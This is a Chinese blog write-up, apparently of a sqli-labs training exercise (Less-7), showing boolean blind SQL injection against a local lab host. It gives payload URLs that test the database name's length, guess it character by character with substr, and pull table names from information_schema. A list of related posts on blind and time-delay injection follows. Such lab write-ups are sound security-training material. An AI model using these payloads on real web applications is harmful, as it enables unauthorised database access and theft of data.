sqli-libs(7) bool盲注

系统管理员 2020-11-14 08:02 514阅读 0赞

首先打开网页后，发现页面显示outfile,  对不起，看不懂，  就直接加 ' 发现报错了

![1722441-20190813140641902-1562543417.png][]

后来，查看源码得知 他是两个括号括起来的

![1722441-20190813140729989-1928686494.png][]

我们就可以构造我们的payload了，

首先查询当前数据库的长度了，发现大于等于8正确，大于等于9错误，我们可以得知数据库长度是8，

http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and length(database())>=8--+

![1722441-20190813140841231-797374222.png][]

![1722441-20190813140852085-599322852.png][]

在我们判断数据库库名的时候用到了个函数：

substr(database,1,1)            意思是截取database的值，从第一位开始每次只返回一个值。

逐字符判断数据库库名：

http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr(database(),1,1)='s'--+     s

http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr(database(),2,1)='e'--+     e

这边我也就不继续写下去了，前面做了那么多题 也知道数据库名是security

查找表名： 这边我们前面一直知道了 users表在第4个表，

所以构造payload:http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr((select table\_name from information\_schema.tables where table\_schema='security' limit 3,1),1,1)='u'--+

![1722441-20190813142021979-1173589271.png][]

后面插字段内容也就不多赘述了

[1722441-20190813140641902-1562543417.png]: /images/1605340931608.png
[1722441-20190813140729989-1928686494.png]: /images/1605340910072.png
[1722441-20190813140841231-797374222.png]: /images/1605340886582.png
[1722441-20190813140852085-599322852.png]: /images/1605340863277.png
[1722441-20190813142021979-1173589271.png]: /images/1605340836985.png

发表评论取消回复

表情：

评论列表（有 0 条评论，514人围观）

还没有评论，来说两句吧...

相关阅读

相关时间延迟盲注详解

0x00 延迟注入定义延迟注入，是一种盲注的手法, 提交对执行时间铭感的函数sql语句，通过执行时间的长短来判断是否执行成功，比如:正确的话会导致时间很长，错误的话会导

素颜马尾好姑娘i/ 2024年04月07日 10:57/ 0 赞/ 94 阅读

相关 CTFHub | 时间盲注

0x00 前言 CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF

柔情只为你懂/ 2024年04月01日 13:43/ 0 赞/ 76 阅读

相关 CTFHub | 布尔盲注

0x00 前言 CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF

我会带着你远行/ 2024年04月01日 12:06/ 0 赞/ 74 阅读

相关 dnslog注入_dnslog盲注

dnslog注入原理通过子查询，将内容拼接到域名内，让load\_file()去访问共享文件，访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件，通过拼接出函

超、凢脫俗/ 2023年09月27日 09:07/ 0 赞/ 132 阅读

相关 sql注入杂谈（三）--盲注

再讲文章之前，先说说，文章里面被标红的字段，是加了反引号的，（因为被csdn和谐了）还有\号也被和谐了，我是用的※来代替前面2章已经讲过了union select 以及报

淡淡的烟草味﹌/ 2023年07月17日 04:42/ 0 赞/ 151 阅读

相关 dvwa学习之 sql盲注

sql注入之盲注盲注是什么盲注有哪些方法盲注流程盲注场景举例 low

蔚落/ 2022年12月13日 11:22/ 0 赞/ 157 阅读

相关 SQL注入：5、SQL盲注

5、SQL盲注 SQL注入与SQL盲注的区别逻辑判断注入漏洞是否存在 SQL盲注之无权读取information\_schema库和拒绝union、o

心已赠人/ 2022年11月06日 14:50/ 0 赞/ 175 阅读

相关 mysql post盲注_两种CTF中特殊盲注的总结

前言 Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中，sql语句执行后数据不会回显到前端页面，此时，我们需要利用一些方法进行判断或者尝试，这个过程称

矫情吗；*/ 2022年10月31日 04:02/ 0 赞/ 19 阅读

相关 MySQL union ascii order盲注

源码 <?php $dbhost = "localhost"; $dbuser = "root"; $dbpass = "12

╰半橙微兮°/ 2022年09月16日 14:17/ 0 赞/ 201 阅读

相关 sqli-libs(7) bool盲注

首先打开网页后，发现页面显示outfile, 对不起，看不懂，就直接加 ‘ 发现报错了后来，查看源码得知他是两个括号括起来的我们就可以构造我们的payload了，

系统管理员/ 2020年11月14日 08:02/ 0 赞/ 515 阅读